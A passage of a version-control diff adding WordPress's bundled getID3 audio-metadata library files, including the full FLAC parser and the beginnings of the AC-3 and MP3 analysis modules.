+			case 1:
+			case 2:
+			case 3:
+			case 4:
+				return 2;
+				break;
+			case 5:
+			case 6:
+				return 3;
+				break;
+			case 7:
+			case 8:
+				return 4;
+				break;
+			case 9:
+				return 5;
+				break;
+			case 10:
+			case 11:
+			case 12:
+				return 6;
+				break;
+			case 13:
+				return 7;
+				break;
+			case 14:
+			case 15:
+				return 8;
+				break;
+		}
+		return false;
+	}
+
+	public static function channelArrangementLookup($index) {
+		static $lookup = array(
+			0  => 'A',
+			1  => 'A + B (dual mono)',
+			2  => 'L + R (stereo)',
+			3  => '(L+R) + (L-R) (sum-difference)',
+			4  => 'LT + RT (left and right total)',
+			5  => 'C + L + R',
+			6  => 'L + R + S',
+			7  => 'C + L + R + S',
+			8  => 'L + R + SL + SR',
+			9  => 'C + L + R + SL + SR',
+			10 => 'CL + CR + L + R + SL + SR',
+			11 => 'C + L + R+ LR + RR + OV',
+			12 => 'CF + CR + LF + RF + LR + RR',
+			13 => 'CL + C + CR + L + R + SL + SR',
+			14 => 'CL + CR + L + R + SL1 + SL2 + SR1 + SR2',
+			15 => 'CL + C+ CR + L + R + SL + S + SR',
+		);
+		return (isset($lookup[$index]) ? $lookup[$index] : 'user-defined');
+	}
+
+	public static function dialogNormalization($index, $version) {
+		switch ($version) {
+			case 7:
+				return 0 - $index;
+				break;
+			case 6:
+				return 0 - 16 - $index;
+				break;
+		}
+		return false;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/ID3/module.audio.flac.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/module.audio.flac.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/module.audio.flac.php	(revision 56912)
@@ -0,0 +1,453 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio.flac.php                                       //
+// module for analyzing FLAC and OggFLAC audio files           //
+// dependencies: module.audio.ogg.php                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true);
+
+/**
+* @tutorial http://flac.sourceforge.net/format.html
+*/
+class getid3_flac extends getid3_handler
+{
+	const syncword = 'fLaC';
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		$this->fseek($info['avdataoffset']);
+		$StreamMarker = $this->fread(4);
+		if ($StreamMarker != self::syncword) {
+			return $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($StreamMarker).'"');
+		}
+		$info['fileformat']            = 'flac';
+		$info['audio']['dataformat']   = 'flac';
+		$info['audio']['bitrate_mode'] = 'vbr';
+		$info['audio']['lossless']     = true;
+
+		// parse flac container
+		return $this->parseMETAdata();
+	}
+
+	public function parseMETAdata() {
+		$info = &$this->getid3->info;
+		do {
+			$BlockOffset   = $this->ftell();
+			$BlockHeader   = $this->fread(4);
+			$LBFBT         = getid3_lib::BigEndian2Int(substr($BlockHeader, 0, 1));
+			$LastBlockFlag = (bool) ($LBFBT & 0x80);
+			$BlockType     =        ($LBFBT & 0x7F);
+			$BlockLength   = getid3_lib::BigEndian2Int(substr($BlockHeader, 1, 3));
+			$BlockTypeText = self::metaBlockTypeLookup($BlockType);
+
+			if (($BlockOffset + 4 + $BlockLength) > $info['avdataend']) {
+				$this->error('METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockTypeText.') at offset '.$BlockOffset.' extends beyond end of file');
+				break;
+			}
+			if ($BlockLength < 1) {
+				$this->error('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockLength.') at offset '.$BlockOffset.' is invalid');
+				break;
+			}
+
+			$info['flac'][$BlockTypeText]['raw'] = array();
+			$BlockTypeText_raw = &$info['flac'][$BlockTypeText]['raw'];
+
+			$BlockTypeText_raw['offset']          = $BlockOffset;
+			$BlockTypeText_raw['last_meta_block'] = $LastBlockFlag;
+			$BlockTypeText_raw['block_type']      = $BlockType;
+			$BlockTypeText_raw['block_type_text'] = $BlockTypeText;
+			$BlockTypeText_raw['block_length']    = $BlockLength;
+			if ($BlockTypeText_raw['block_type'] != 0x06) { // do not read attachment data automatically
+				$BlockTypeText_raw['block_data']  = $this->fread($BlockLength);
+			}
+
+			switch ($BlockTypeText) {
+				case 'STREAMINFO':     // 0x00
+					if (!$this->parseSTREAMINFO($BlockTypeText_raw['block_data'])) {
+						return false;
+					}
+					break;
+
+				case 'PADDING':        // 0x01
+					unset($info['flac']['PADDING']); // ignore
+					break;
+
+				case 'APPLICATION':    // 0x02
+					if (!$this->parseAPPLICATION($BlockTypeText_raw['block_data'])) {
+						return false;
+					}
+					break;
+
+				case 'SEEKTABLE':      // 0x03
+					if (!$this->parseSEEKTABLE($BlockTypeText_raw['block_data'])) {
+						return false;
+					}
+					break;
+
+				case 'VORBIS_COMMENT': // 0x04
+					if (!$this->parseVORBIS_COMMENT($BlockTypeText_raw['block_data'])) {
+						return false;
+					}
+					break;
+
+				case 'CUESHEET':       // 0x05
+					if (!$this->parseCUESHEET($BlockTypeText_raw['block_data'])) {
+						return false;
+					}
+					break;
+
+				case 'PICTURE':        // 0x06
+					if (!$this->parsePICTURE()) {
+						return false;
+					}
+					break;
+
+				default:
+					$this->warning('Unhandled METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockType.') at offset '.$BlockOffset);
+			}
+
+			unset($info['flac'][$BlockTypeText]['raw']);
+			$info['avdataoffset'] = $this->ftell();
+		}
+		while ($LastBlockFlag === false);
+
+		// handle tags
+		if (!empty($info['flac']['VORBIS_COMMENT']['comments'])) {
+			$info['flac']['comments'] = $info['flac']['VORBIS_COMMENT']['comments'];
+		}
+		if (!empty($info['flac']['VORBIS_COMMENT']['vendor'])) {
+			$info['audio']['encoder'] = str_replace('reference ', '', $info['flac']['VORBIS_COMMENT']['vendor']);
+		}
+
+		// copy attachments to 'comments' array if nesesary
+		if (isset($info['flac']['PICTURE']) && ($this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE)) {
+			foreach ($info['flac']['PICTURE'] as $entry) {
+				if (!empty($entry['data'])) {
+					if (!isset($info['flac']['comments']['picture'])) {
+						$info['flac']['comments']['picture'] = array();
+					}
+					$comments_picture_data = array();
+					foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
+						if (isset($entry[$picture_key])) {
+							$comments_picture_data[$picture_key] = $entry[$picture_key];
+						}
+					}
+					$info['flac']['comments']['picture'][] = $comments_picture_data;
+					unset($comments_picture_data);
+				}
+			}
+		}
+
+		if (isset($info['flac']['STREAMINFO'])) {
+			if (!$this->isDependencyFor('matroska')) {
+				$info['flac']['compressed_audio_bytes'] = $info['avdataend'] - $info['avdataoffset'];
+			}
+			$info['flac']['uncompressed_audio_bytes'] = $info['flac']['STREAMINFO']['samples_stream'] * $info['flac']['STREAMINFO']['channels'] * ($info['flac']['STREAMINFO']['bits_per_sample'] / 8);
+			if ($info['flac']['uncompressed_audio_bytes'] == 0) {
+				return $this->error('Corrupt FLAC file: uncompressed_audio_bytes == zero');
+			}
+			if (!empty($info['flac']['compressed_audio_bytes'])) {
+				$info['flac']['compression_ratio'] = $info['flac']['compressed_audio_bytes'] / $info['flac']['uncompressed_audio_bytes'];
+			}
+		}
+
+		// set md5_data_source - built into flac 0.5+
+		if (isset($info['flac']['STREAMINFO']['audio_signature'])) {
+
+			if ($info['flac']['STREAMINFO']['audio_signature'] === str_repeat("\x00", 16)) {
+                $this->warning('FLAC STREAMINFO.audio_signature is null (known issue with libOggFLAC)');
+			}
+			else {
+				$info['md5_data_source'] = '';
+				$md5 = $info['flac']['STREAMINFO']['audio_signature'];
+				for ($i = 0; $i < strlen($md5); $i++) {
+					$info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT);
+				}
+				if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) {
+					unset($info['md5_data_source']);
+				}
+			}
+		}
+
+		if (isset($info['flac']['STREAMINFO']['bits_per_sample'])) {
+			$info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample'];
+			if ($info['audio']['bits_per_sample'] == 8) {
+				// special case
+				// must invert sign bit on all data bytes before MD5'ing to match FLAC's calculated value
+				// MD5sum calculates on unsigned bytes, but FLAC calculated MD5 on 8-bit audio data as signed
+				$this->warning('FLAC calculates MD5 data strangely on 8-bit audio, so the stored md5_data_source value will not match the decoded WAV file');
+			}
+		}
+
+		return true;
+	}
+
+	private function parseSTREAMINFO($BlockData) {
+		$info = &$this->getid3->info;
+
+		$info['flac']['STREAMINFO'] = array();
+		$streaminfo = &$info['flac']['STREAMINFO'];
+
+		$streaminfo['min_block_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 0, 2));
+		$streaminfo['max_block_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 2, 2));
+		$streaminfo['min_frame_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 4, 3));
+		$streaminfo['max_frame_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 7, 3));
+
+		$SRCSBSS                       = getid3_lib::BigEndian2Bin(substr($BlockData, 10, 8));
+		$streaminfo['sample_rate']     = getid3_lib::Bin2Dec(substr($SRCSBSS,  0, 20));
+		$streaminfo['channels']        = getid3_lib::Bin2Dec(substr($SRCSBSS, 20,  3)) + 1;
+		$streaminfo['bits_per_sample'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 23,  5)) + 1;
+		$streaminfo['samples_stream']  = getid3_lib::Bin2Dec(substr($SRCSBSS, 28, 36));
+
+		$streaminfo['audio_signature'] = substr($BlockData, 18, 16);
+
+		if (!empty($streaminfo['sample_rate'])) {
+
+			$info['audio']['bitrate_mode']    = 'vbr';
+			$info['audio']['sample_rate']     = $streaminfo['sample_rate'];
+			$info['audio']['channels']        = $streaminfo['channels'];
+			$info['audio']['bits_per_sample'] = $streaminfo['bits_per_sample'];
+			$info['playtime_seconds']         = $streaminfo['samples_stream'] / $streaminfo['sample_rate'];
+			if ($info['playtime_seconds'] > 0) {
+				if (!$this->isDependencyFor('matroska')) {
+					$info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
+				}
+				else {
+					$this->warning('Cannot determine audio bitrate because total stream size is unknown');
+				}
+			}
+
+		} else {
+			return $this->error('Corrupt METAdata block: STREAMINFO');
+		}
+
+		return true;
+	}
+
+	private function parseAPPLICATION($BlockData) {
+		$info = &$this->getid3->info;
+
+		$ApplicationID = getid3_lib::BigEndian2Int(substr($BlockData, 0, 4));
+		$info['flac']['APPLICATION'][$ApplicationID]['name'] = self::applicationIDLookup($ApplicationID);
+		$info['flac']['APPLICATION'][$ApplicationID]['data'] = substr($BlockData, 4);
+
+		return true;
+	}
+
+	private function parseSEEKTABLE($BlockData) {
+		$info = &$this->getid3->info;
+
+		$offset = 0;
+		$BlockLength = strlen($BlockData);
+		$placeholderpattern = str_repeat("\xFF", 8);
+		while ($offset < $BlockLength) {
+			$SampleNumberString = substr($BlockData, $offset, 8);
+			$offset += 8;
+			if ($SampleNumberString == $placeholderpattern) {
+
+				// placeholder point
+				getid3_lib::safe_inc($info['flac']['SEEKTABLE']['placeholders'], 1);
+				$offset += 10;
+
+			} else {
+
+				$SampleNumber                                        = getid3_lib::BigEndian2Int($SampleNumberString);
+				$info['flac']['SEEKTABLE'][$SampleNumber]['offset']  = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
+				$offset += 8;
+				$info['flac']['SEEKTABLE'][$SampleNumber]['samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 2));
+				$offset += 2;
+
+			}
+		}
+
+		return true;
+	}
+
+	private function parseVORBIS_COMMENT($BlockData) {
+		$info = &$this->getid3->info;
+
+		$getid3_ogg = new getid3_ogg($this->getid3);
+		if ($this->isDependencyFor('matroska')) {
+			$getid3_ogg->setStringMode($this->data_string);
+		}
+		$getid3_ogg->ParseVorbisComments();
+		if (isset($info['ogg'])) {
+			unset($info['ogg']['comments_raw']);
+			$info['flac']['VORBIS_COMMENT'] = $info['ogg'];
+			unset($info['ogg']);
+		}
+
+		unset($getid3_ogg);
+
+		return true;
+	}
+
+	private function parseCUESHEET($BlockData) {
+		$info = &$this->getid3->info;
+		$offset = 0;
+		$info['flac']['CUESHEET']['media_catalog_number'] =                              trim(substr($BlockData, $offset, 128), "\0");
+		$offset += 128;
+		$info['flac']['CUESHEET']['lead_in_samples']      =         getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
+		$offset += 8;
+		$info['flac']['CUESHEET']['flags']['is_cd']       = (bool) (getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)) & 0x80);
+		$offset += 1;
+
+		$offset += 258; // reserved
+
+		$info['flac']['CUESHEET']['number_tracks']        =         getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
+		$offset += 1;
+
+		for ($track = 0; $track < $info['flac']['CUESHEET']['number_tracks']; $track++) {
+			$TrackSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
+			$offset += 8;
+			$TrackNumber       = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
+			$offset += 1;
+
+			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['sample_offset']         = $TrackSampleOffset;
+
+			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['isrc']                  =                           substr($BlockData, $offset, 12);
+			$offset += 12;
+
+			$TrackFlagsRaw                                                             = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
+			$offset += 1;
+			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['is_audio']     = (bool) ($TrackFlagsRaw & 0x80);
+			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['pre_emphasis'] = (bool) ($TrackFlagsRaw & 0x40);
+
+			$offset += 13; // reserved
+
+			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']          = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
+			$offset += 1;
+
+			for ($index = 0; $index < $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']; $index++) {
+				$IndexSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
+				$offset += 8;
+				$IndexNumber       = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
+				$offset += 1;
+
+				$offset += 3; // reserved
+
+				$info['flac']['CUESHEET']['tracks'][$TrackNumber]['indexes'][$IndexNumber] = $IndexSampleOffset;
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	* Parse METADATA_BLOCK_PICTURE flac structure and extract attachment
+	* External usage: audio.ogg
+	*/
+	public function parsePICTURE() {
+		$info = &$this->getid3->info;
+
+		$picture['typeid']         = getid3_lib::BigEndian2Int($this->fread(4));
+		$picture['picturetype']    = self::pictureTypeLookup($picture['typeid']);
+		$picture['image_mime']     = $this->fread(getid3_lib::BigEndian2Int($this->fread(4)));
+		$descr_length              = getid3_lib::BigEndian2Int($this->fread(4));
+		if ($descr_length) {
+			$picture['description'] = $this->fread($descr_length);
+		}
+		$picture['image_width']    = getid3_lib::BigEndian2Int($this->fread(4));
+		$picture['image_height']   = getid3_lib::BigEndian2Int($this->fread(4));
+		$picture['color_depth']    = getid3_lib::BigEndian2Int($this->fread(4));
+		$picture['colors_indexed'] = getid3_lib::BigEndian2Int($this->fread(4));
+		$picture['datalength']     = getid3_lib::BigEndian2Int($this->fread(4));
+
+		if ($picture['image_mime'] == '-->') {
+			$picture['data'] = $this->fread($picture['datalength']);
+		} else {
+			$picture['data'] = $this->saveAttachment(
+				str_replace('/', '_', $picture['picturetype']).'_'.$this->ftell(),
+				$this->ftell(),
+				$picture['datalength'],
+				$picture['image_mime']);
+		}
+
+		$info['flac']['PICTURE'][] = $picture;
+
+		return true;
+	}
+
+	public static function metaBlockTypeLookup($blocktype) {
+		static $lookup = array(
+			0 => 'STREAMINFO',
+			1 => 'PADDING',
+			2 => 'APPLICATION',
+			3 => 'SEEKTABLE',
+			4 => 'VORBIS_COMMENT',
+			5 => 'CUESHEET',
+			6 => 'PICTURE',
+		);
+		return (isset($lookup[$blocktype]) ? $lookup[$blocktype] : 'reserved');
+	}
+
+	public static function applicationIDLookup($applicationid) {
+		// http://flac.sourceforge.net/id.html
+		static $lookup = array(
+			0x41544348 => 'FlacFile',                                                                           // "ATCH"
+			0x42534F4C => 'beSolo',                                                                             // "BSOL"
+			0x42554753 => 'Bugs Player',                                                                        // "BUGS"
+			0x43756573 => 'GoldWave cue points (specification)',                                                // "Cues"
+			0x46696361 => 'CUE Splitter',                                                                       // "Fica"
+			0x46746F6C => 'flac-tools',                                                                         // "Ftol"
+			0x4D4F5442 => 'MOTB MetaCzar',                                                                      // "MOTB"
+			0x4D505345 => 'MP3 Stream Editor',                                                                  // "MPSE"
+			0x4D754D4C => 'MusicML: Music Metadata Language',                                                   // "MuML"
+			0x52494646 => 'Sound Devices RIFF chunk storage',                                                   // "RIFF"
+			0x5346464C => 'Sound Font FLAC',                                                                    // "SFFL"
+			0x534F4E59 => 'Sony Creative Software',                                                             // "SONY"
+			0x5351455A => 'flacsqueeze',                                                                        // "SQEZ"
+			0x54745776 => 'TwistedWave',                                                                        // "TtWv"
+			0x55495453 => 'UITS Embedding tools',                                                               // "UITS"
+			0x61696666 => 'FLAC AIFF chunk storage',                                                            // "aiff"
+			0x696D6167 => 'flac-image application for storing arbitrary files in APPLICATION metadata blocks',  // "imag"
+			0x7065656D => 'Parseable Embedded Extensible Metadata (specification)',                             // "peem"
+			0x71667374 => 'QFLAC Studio',                                                                       // "qfst"
+			0x72696666 => 'FLAC RIFF chunk storage',                                                            // "riff"
+			0x74756E65 => 'TagTuner',                                                                           // "tune"
+			0x78626174 => 'XBAT',                                                                               // "xbat"
+			0x786D6364 => 'xmcd',                                                                               // "xmcd"
+		);
+		return (isset($lookup[$applicationid]) ? $lookup[$applicationid] : 'reserved');
+	}
+
+	public static function pictureTypeLookup($type_id) {
+		static $lookup = array (
+			 0 => 'Other',
+			 1 => '32x32 pixels \'file icon\' (PNG only)',
+			 2 => 'Other file icon',
+			 3 => 'Cover (front)',
+			 4 => 'Cover (back)',
+			 5 => 'Leaflet page',
+			 6 => 'Media (e.g. label side of CD)',
+			 7 => 'Lead artist/lead performer/soloist',
+			 8 => 'Artist/performer',
+			 9 => 'Conductor',
+			10 => 'Band/Orchestra',
+			11 => 'Composer',
+			12 => 'Lyricist/text writer',
+			13 => 'Recording Location',
+			14 => 'During recording',
+			15 => 'During performance',
+			16 => 'Movie/video screen capture',
+			17 => 'A bright coloured fish',
+			18 => 'Illustration',
+			19 => 'Band/artist logotype',
+			20 => 'Publisher/Studio logotype',
+		);
+		return (isset($lookup[$type_id]) ? $lookup[$type_id] : 'reserved');
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/ID3/module.audio.mp3.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/module.audio.mp3.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/module.audio.mp3.php	(revision 56912)
@@ -0,0 +1,2023 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio.mp3.php                                        //
+// module for analyzing MP3 files                              //
+// dependencies: NONE                                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+
+// number of frames to scan to determine if MPEG-audio sequence is valid
+// Lower this number to 5-20 for faster scanning
+// Increase this number to 50+ for most accurate detection of valid VBR/CBR
+// mpeg-audio streams
+define('GETID3_MP3_VALID_CHECK_FRAMES', 35);
+
+
+class getid3_mp3 extends getid3_handler
+{
+
+	public $allow_bruteforce = false; // forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow, unrecommended, but may provide data from otherwise-unusuable files
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		$initialOffset = $info['avdataoffset'];
+
+		if (!$this->getOnlyMPEGaudioInfo($info['avdataoffset'])) {
+			if ($this->allow_bruteforce) {
+				$this->error('Rescanning file in BruteForce mode');
+				$this->getOnlyMPEGaudioInfoBruteForce($this->getid3->fp, $info);
+			}
+		}
+
+
+		if (isset($info['mpeg']['audio']['bitrate_mode'])) {
+			$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
+		}
+
+		if (((isset($info['id3v2']['headerlength']) && ($info['avdataoffset'] > $info['id3v2']['headerlength'])) || (!isset($info['id3v2']) && ($info['avdataoffset'] > 0) && ($info['avdataoffset'] != $initialOffset)))) {
+
+			$synchoffsetwarning = 'Unknown data before synch ';
+			if (isset($info['id3v2']['headerlength'])) {
+				$synchoffsetwarning .= '(ID3v2 header ends at '.$info['id3v2']['headerlength'].', then '.($info['avdataoffset'] - $info['id3v2']['headerlength']).' bytes garbage, ';
+			} elseif ($initialOffset > 0) {
+				$synchoffsetwarning .= '(should be at '.$initialOffset.', ';
+			} else {
+				$synchoffsetwarning .= '(should be at beginning of file, ';
+			}
+			$synchoffsetwarning .= 'synch detected at '.$info['avdataoffset'].')';
+			if (isset($info['audio']['bitrate_mode']) && ($info['audio']['bitrate_mode'] == 'cbr')) {
+
+				if (!empty($info['id3v2']['headerlength']) && (($info['avdataoffset'] - $info['id3v2']['headerlength']) == $info['mpeg']['audio']['framelength'])) {
+
+					$synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90-3.92) DLL in CBR mode.';
+					$info['audio']['codec'] = 'LAME';
+					$CurrentDataLAMEversionString = 'LAME3.';
+
+				} elseif (empty($info['id3v2']['headerlength']) && ($info['avdataoffset'] == $info['mpeg']['audio']['framelength'])) {
+
+					$synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90 - 3.92) DLL in CBR mode.';
+					$info['audio']['codec'] = 'LAME';
+					$CurrentDataLAMEversionString = 'LAME3.';
+
+				}
+
+			}
+			$this->warning($synchoffsetwarning);
+
+		}
+
+		if (isset($info['mpeg']['audio']['LAME'])) {
+			$info['audio']['codec'] = 'LAME';
+			if (!empty($info['mpeg']['audio']['LAME']['long_version'])) {
+				$info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['long_version'], "\x00");
+			} elseif (!empty($info['mpeg']['audio']['LAME']['short_version'])) {
+				$info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['short_version'], "\x00");
+			}
+		}
+
+		$CurrentDataLAMEversionString = (!empty($CurrentDataLAMEversionString) ? $CurrentDataLAMEversionString : (isset($info['audio']['encoder']) ? $info['audio']['encoder'] : ''));
+		if (!empty($CurrentDataLAMEversionString) && (substr($CurrentDataLAMEversionString, 0, 6) == 'LAME3.') && !preg_match('[0-9\)]', substr($CurrentDataLAMEversionString, -1))) {
+			// a version number of LAME that does not end with a number like "LAME3.92"
+			// or with a closing parenthesis like "LAME3.88 (alpha)"
+			// or a version of LAME with the LAMEtag-not-filled-in-DLL-mode bug (3.90-3.92)
+
+			// not sure what the actual last frame length will be, but will be less than or equal to 1441
+			$PossiblyLongerLAMEversion_FrameLength = 1441;
+
+			// Not sure what version of LAME this is - look in padding of last frame for longer version string
+			$PossibleLAMEversionStringOffset = $info['avdataend'] - $PossiblyLongerLAMEversion_FrameLength;
+			$this->fseek($PossibleLAMEversionStringOffset);
+			$PossiblyLongerLAMEversion_Data = $this->fread($PossiblyLongerLAMEversion_FrameLength);
+			switch (substr($CurrentDataLAMEversionString, -1)) {
+				case 'a':
+				case 'b':
+					// "LAME3.94a" will have a longer version string of "LAME3.94 (alpha)" for example
+					// need to trim off "a" to match longer string
+					$CurrentDataLAMEversionString = substr($CurrentDataLAMEversionString, 0, -1);
+					break;
+			}
+			if (($PossiblyLongerLAMEversion_String = strstr($PossiblyLongerLAMEversion_Data, $CurrentDataLAMEversionString)) !== false) {
+				if (substr($PossiblyLongerLAMEversion_String, 0, strlen($CurrentDataLAMEversionString)) == $CurrentDataLAMEversionString) {
+					$PossiblyLongerLAMEversion_NewString = substr($PossiblyLongerLAMEversion_String, 0, strspn($PossiblyLongerLAMEversion_String, 'LAME0123456789., (abcdefghijklmnopqrstuvwxyzJFSOND)')); //"LAME3.90.3"  "LAME3.87 (beta 1, Sep 27 2000)" "LAME3.88 (beta)"
+					if (empty($info['audio']['encoder']) || (strlen($PossiblyLongerLAMEversion_NewString) > strlen($info['audio']['encoder']))) {
+						$info['audio']['encoder'] = $PossiblyLongerLAMEversion_NewString;
+					}
+				}
+			}
+		}
+		if (!empty($info['audio']['encoder'])) {
+			$info['audio']['encoder'] = rtrim($info['audio']['encoder'], "\x00 ");
+		}
+
+		switch (isset($info['mpeg']['audio']['layer']) ? $info['mpeg']['audio']['layer'] : '') {
+			case 1:
+			case 2:
+				$info['audio']['dataformat'] = 'mp'.$info['mpeg']['audio']['layer'];
+				break;
+		}
+		if (isset($info['fileformat']) && ($info['fileformat'] == 'mp3')) {
+			switch ($info['audio']['dataformat']) {
+				case 'mp1':
+				case 'mp2':
+				case 'mp3':
+					$info['fileformat'] = $info['audio']['dataformat'];
+					break;
+
+				default:
+					$this->warning('Expecting [audio][dataformat] to be mp1/mp2/mp3 when fileformat == mp3, [audio][dataformat] actually "'.$info['audio']['dataformat'].'"');
+					break;
+			}
+		}
+
+		if (empty($info['fileformat'])) {
+			unset($info['fileformat']);
+			unset($info['audio']['bitrate_mode']);
+			unset($info['avdataoffset']);
+			unset($info['avdataend']);
+			return false;
+		}
+
+		$info['mime_type']         = 'audio/mpeg';
+		$info['audio']['lossless'] = false;
+
+		// Calculate playtime
+		if (!isset($info['playtime_seconds']) && isset($info['audio']['bitrate']) && ($info['audio']['bitrate'] > 0)) {
+			$info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) * 8 / $info['audio']['bitrate'];
+		}
+
+		$info['audio']['encoder_options'] = $this->GuessEncoderOptions();
+
+		return true;
+	}
+
+
+	public function GuessEncoderOptions() {
+		// shortcuts
+		$info = &$this->getid3->info;
+		if (!empty($info['mpeg']['audio'])) {
+			$thisfile_mpeg_audio = &$info['mpeg']['audio'];
+			if (!empty($thisfile_mpeg_audio['LAME'])) {
+				$thisfile_mpeg_audio_lame = &$thisfile_mpeg_audio['LAME'];
+			}
+		}
+
+		$encoder_options = '';
+		static $NamedPresetBitrates = array(16, 24, 40, 56, 112, 128, 160, 192, 256);
+
+		if (isset($thisfile_mpeg_audio['VBR_method']) && ($thisfile_mpeg_audio['VBR_method'] == 'Fraunhofer') && !empty($thisfile_mpeg_audio['VBR_quality'])) {
+
+			$encoder_options = 'VBR q'.$thisfile_mpeg_audio['VBR_quality'];
+
+		} elseif (!empty($thisfile_mpeg_audio_lame['preset_used']) && (!in_array($thisfile_mpeg_audio_lame['preset_used_id'], $NamedPresetBitrates))) {
+
+			$encoder_options = $thisfile_mpeg_audio_lame['preset_used'];
+
+		} elseif (!empty($thisfile_mpeg_audio_lame['vbr_quality'])) {
+
+			static $KnownEncoderValues = array();
+			if (empty($KnownEncoderValues)) {
+
+				//$KnownEncoderValues[abrbitrate_minbitrate][vbr_quality][raw_vbr_method][raw_noise_shaping][raw_stereo_mode][ath_type][lowpass_frequency] = 'preset name';
+				$KnownEncoderValues[0xFF][58][1][1][3][2][20500] = '--alt-preset insane';        // 3.90,   3.90.1, 3.92
+				$KnownEncoderValues[0xFF][58][1][1][3][2][20600] = '--alt-preset insane';        // 3.90.2, 3.90.3, 3.91
+				$KnownEncoderValues[0xFF][57][1][1][3][4][20500] = '--alt-preset insane';        // 3.94,   3.95
+				$KnownEncoderValues['**'][78][3][2][3][2][19500] = '--alt-preset extreme';       // 3.90,   3.90.1, 3.92
+				$KnownEncoderValues['**'][78][3][2][3][2][19600] = '--alt-preset extreme';       // 3.90.2, 3.91
+				$KnownEncoderValues['**'][78][3][1][3][2][19600] = '--alt-preset extreme';       // 3.90.3
+				$KnownEncoderValues['**'][78][4][2][3][2][19500] = '--alt-preset fast extreme';  // 3.90,   3.90.1, 3.92
+				$KnownEncoderValues['**'][78][4][2][3][2][19600] = '--alt-preset fast extreme';  // 3.90.2, 3.90.3, 3.91
+				$KnownEncoderValues['**'][78][3][2][3][4][19000] = '--alt-preset standard';      // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
+				$KnownEncoderValues['**'][78][3][1][3][4][19000] = '--alt-preset standard';      // 3.90.3
+				$KnownEncoderValues['**'][78][4][2][3][4][19000] = '--alt-preset fast standard'; // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
+				$KnownEncoderValues['**'][78][4][1][3][4][19000] = '--alt-preset fast standard'; // 3.90.3
+				$KnownEncoderValues['**'][88][4][1][3][3][19500] = '--r3mix';                    // 3.90,   3.90.1, 3.92
+				$KnownEncoderValues['**'][88][4][1][3][3][19600] = '--r3mix';                    // 3.90.2, 3.90.3, 3.91
+				$KnownEncoderValues['**'][67][4][1][3][4][18000] = '--r3mix';                    // 3.94,   3.95
+				$KnownEncoderValues['**'][68][3][2][3][4][18000] = '--alt-preset medium';        // 3.90.3
+				$KnownEncoderValues['**'][68][4][2][3][4][18000] = '--alt-preset fast medium';   // 3.90.3
+
